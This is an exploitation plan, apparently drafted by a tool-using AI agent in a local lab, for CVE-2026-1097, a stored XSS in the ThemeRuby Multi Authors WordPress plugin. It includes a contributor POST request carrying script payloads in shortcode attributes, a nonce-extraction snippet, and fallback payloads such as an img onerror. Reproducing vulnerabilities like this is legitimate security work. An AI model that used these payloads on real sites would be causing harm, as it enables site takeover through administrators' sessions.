Exploitation Research Plan: CVE-2026-1097

1. Vulnerability Summary

ThemeRuby Multi Authors (<= 1.0.0) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin registers a shortcode (likely [themeruby_multi_authors] or similar) used to display post authors. This shortcode accepts before and after attributes intended for custom HTML wrapping. Because the plugin fails to sanitize or escape these attributes before rendering them on the page, any user with Contributor-level access or higher can inject malicious scripts into a post. When any user (including an Administrator) views the affected post, the script executes in their browser context.

2. Attack Vector Analysis

• Vulnerable Component: Shortcode rendering logic.
• Payload Location: Shortcode attributes before or after within the post_content.
• Required Role: Contributor or higher (requires edit_posts capability).
• Preconditions: The plugin must be active, and a post/page must contain the malicious shortcode.
• Impact: Full site takeover if an Administrator views the post, as the script can perform actions like creating new admin users or modifying plugin settings.

3. Code Flow (Inferred)

1. Registration: The plugin calls add_shortcode( 'themeruby_multi_authors', '...' ) (or a similar identifier) during the init hook.
2. Input Parsing: When a post is rendered, the callback function receives an $atts array. It likely uses shortcode_atts() to extract values for before and after.
3. The Sink: The callback function constructs the HTML output for the authors list and prepends/appends the before and after attribute values.
4. The Vulnerability: The resulting string is returned (to be printed by WordPress) without passing through wp_kses() or similar escaping functions, allowing raw HTML/JavaScript to be rendered.

4. Nonce Acquisition Strategy

This vulnerability does not require a specific plugin nonce because the payload is delivered via the standard WordPress post editor.

1. Login: Authenticate as a Contributor.
2. Access Editor: Navigate to wp-admin/post-new.php.
3. Extract Standard Nonce: Use browser_eval to retrieve the _wpnonce from the form if performing the save via the REST API or post.php.
   • browser_eval("document.querySelector('#_wpnonce').value")

5. Exploitation Strategy

Step 1: Identify Shortcode Name

Use the grep tool to find the exact shortcode registration:

grep -rn "add_shortcode" /var/www/html/wp-content/plugins/themeruby-multi-authors/

I will assume the shortcode is [themeruby_multi_authors] for the remaining steps.

Step 2: Create Malicious Post

As a Contributor, create a new post with the XSS payload.

Request:

• Method: POST
• URL: http://localhost:8080/wp-admin/post.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=editpost
  &post_ID=[NEW_POST_ID]
  &_wpnonce=[NONCE]
  &post_title=Authors List
  &content=[themeruby_multi_authors before='<script>alert(document.domain)</script>']
  &publish=Publish
  

Step 3: Trigger Execution

Navigate to the published post's URL using an Administrator's session or an unauthenticated browser to confirm the script executes.

6. Test Data Setup

1. Plugin: Install and activate themeruby-multi-authors.
2. User: Create a user with the username contributor_attacker and the contributor role.
3. Data: Assign at least one author to a test post (some plugins require data to exist before the shortcode renders anything).

7. Expected Results

• When viewing the post, an alert box showing the document domain should appear.
• Viewing the page source should show: <script>alert(document.domain)</script><div class="author-list">...</div>.

8. Verification Steps

1. Database Check: Verify the payload is stored in the database.

   wp db query "SELECT post_content FROM wp_posts WHERE post_title='Authors List' LIMIT 1;"
   

2. Frontend Check: Use the http_request tool to fetch the post and check for the unescaped script:

   # Look for the exact payload string in the response body
   

9. Alternative Approaches

If themeruby_multi_authors is not the correct tag, search for any variations using:

grep -r "shortcode" /var/www/html/wp-content/plugins/themeruby-multi-authors/

If the shortcode requires specific author IDs, use:
[themeruby_multi_authors ids='1' before='<script>alert(1)</script>']

If the before attribute is filtered, try the after attribute:
[themeruby_multi_authors after='<img src=x onerror=alert(1)>']